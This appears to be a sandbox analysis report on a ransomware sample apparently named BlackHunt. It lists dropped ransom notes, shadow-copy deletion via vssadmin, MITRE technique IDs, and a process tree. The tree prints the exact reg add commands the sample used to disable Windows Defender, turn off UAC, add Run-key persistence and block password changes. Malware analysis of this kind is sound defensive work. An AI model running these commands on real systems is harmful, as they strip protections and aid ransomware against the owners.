File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\jmxremote.password.template	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_plain_Thumbnail.bmp	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\jvm.cfg	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.properties	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-text_zh_CN.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\management.properties	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedback.gif	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Palmer	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\AST4	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.xml	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_ja_4.4.0.v20140623020002.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7.png	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_Private.key	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.txt	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\epl-v10.html	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_zh_4.4.0.v20140623020002.jar	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Knox	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_ReadMe.hta	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3060	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1548	vssadmin.exe
2256	vssadmin.exe
2732	vssadmin.exe
1596	vssadmin.exe
1628	vssadmin.exe
3896	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3464	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3320	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3576	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeRestorePrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeBackupPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeTakeOwnershipPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeAuditPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeSecurityPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeIncBasePriorityPrivilege	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Token: SeBackupPrivilege	3032	vssvc.exe
Token: SeRestorePrivilege	3032	vssvc.exe
Token: SeAuditPrivilege	3032	vssvc.exe
Token: SeBackupPrivilege	3068	wbengine.exe
Token: SeRestorePrivilege	3068	wbengine.exe
Token: SeSecurityPrivilege	3068	wbengine.exe
Token: SeSecurityPrivilege	2264	wevtutil.exe
Token: SeBackupPrivilege	2264	wevtutil.exe
Token: SeSecurityPrivilege	2576	wevtutil.exe
Token: SeBackupPrivilege	2576	wevtutil.exe
Token: SeSecurityPrivilege	1100	wevtutil.exe
Token: SeBackupPrivilege	1100	wevtutil.exe
Token: SeSecurityPrivilege	2112	wevtutil.exe
Token: SeBackupPrivilege	2112	wevtutil.exe
Token: SeSecurityPrivilege	1824	wevtutil.exe
Token: SeBackupPrivilege	1824	wevtutil.exe
Token: SeDebugPrivilege	3464	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2780	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	29
PID 2536 wrote to memory of 2780	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	29
PID 2536 wrote to memory of 2780	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	29
PID 2536 wrote to memory of 2780	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	29
PID 2536 wrote to memory of 2824	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	125
PID 2536 wrote to memory of 2824	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	125
PID 2536 wrote to memory of 2824	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	125
PID 2536 wrote to memory of 2824	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	125
PID 2536 wrote to memory of 2728	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	33
PID 2536 wrote to memory of 2728	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	33
PID 2536 wrote to memory of 2728	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	33
PID 2536 wrote to memory of 2728	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	33
PID 2780 wrote to memory of 2976	2780	cmd.exe	35
PID 2780 wrote to memory of 2976	2780	cmd.exe	35
PID 2780 wrote to memory of 2976	2780	cmd.exe	35
PID 2536 wrote to memory of 2580	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	36
PID 2536 wrote to memory of 2580	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	36
PID 2536 wrote to memory of 2580	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	36
PID 2536 wrote to memory of 2580	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	36
PID 2536 wrote to memory of 2692	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	38
PID 2536 wrote to memory of 2692	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	38
PID 2536 wrote to memory of 2692	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	38
PID 2536 wrote to memory of 2692	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	38
PID 2824 wrote to memory of 828	2824	reg.exe	40
PID 2824 wrote to memory of 828	2824	reg.exe	40
PID 2824 wrote to memory of 828	2824	reg.exe	40
PID 2536 wrote to memory of 2828	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	41
PID 2536 wrote to memory of 2828	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	41
PID 2536 wrote to memory of 2828	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	41
PID 2536 wrote to memory of 2828	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	41
PID 2728 wrote to memory of 2900	2728	cmd.exe	42
PID 2728 wrote to memory of 2900	2728	cmd.exe	42
PID 2728 wrote to memory of 2900	2728	cmd.exe	42
PID 2536 wrote to memory of 3044	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	43
PID 2536 wrote to memory of 3044	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	43
PID 2536 wrote to memory of 3044	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	43
PID 2536 wrote to memory of 3044	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	43
PID 2536 wrote to memory of 2596	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	44
PID 2536 wrote to memory of 2596	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	44
PID 2536 wrote to memory of 2596	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	44
PID 2536 wrote to memory of 2596	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	44
PID 2536 wrote to memory of 2744	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	47
PID 2536 wrote to memory of 2744	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	47
PID 2536 wrote to memory of 2744	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	47
PID 2536 wrote to memory of 2744	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	47
PID 2536 wrote to memory of 2572	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	49
PID 2536 wrote to memory of 2572	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	49
PID 2536 wrote to memory of 2572	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	49
PID 2536 wrote to memory of 2572	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	49
PID 2536 wrote to memory of 2604	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	130
PID 2536 wrote to memory of 2604	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	130
PID 2536 wrote to memory of 2604	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	130
PID 2536 wrote to memory of 2604	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	130
PID 2536 wrote to memory of 3056	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	54
PID 2536 wrote to memory of 3056	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	54
PID 2536 wrote to memory of 3056	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	54
PID 2536 wrote to memory of 3056	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	54
PID 2536 wrote to memory of 2448	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	128
PID 2536 wrote to memory of 2448	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	128
PID 2536 wrote to memory of 2448	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	128
PID 2536 wrote to memory of 2448	2536	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe	128
PID 3044 wrote to memory of 2552	3044	cmd.exe	58
PID 3044 wrote to memory of 2552	3044	cmd.exe	58
PID 3044 wrote to memory of 2552	3044	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe
"C:\Users\Admin\AppData\Local\Temp\5cb261c040f9dace4df8eece7c3f8f77e344ddaf28383d3947695bbffc8c1435.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2864
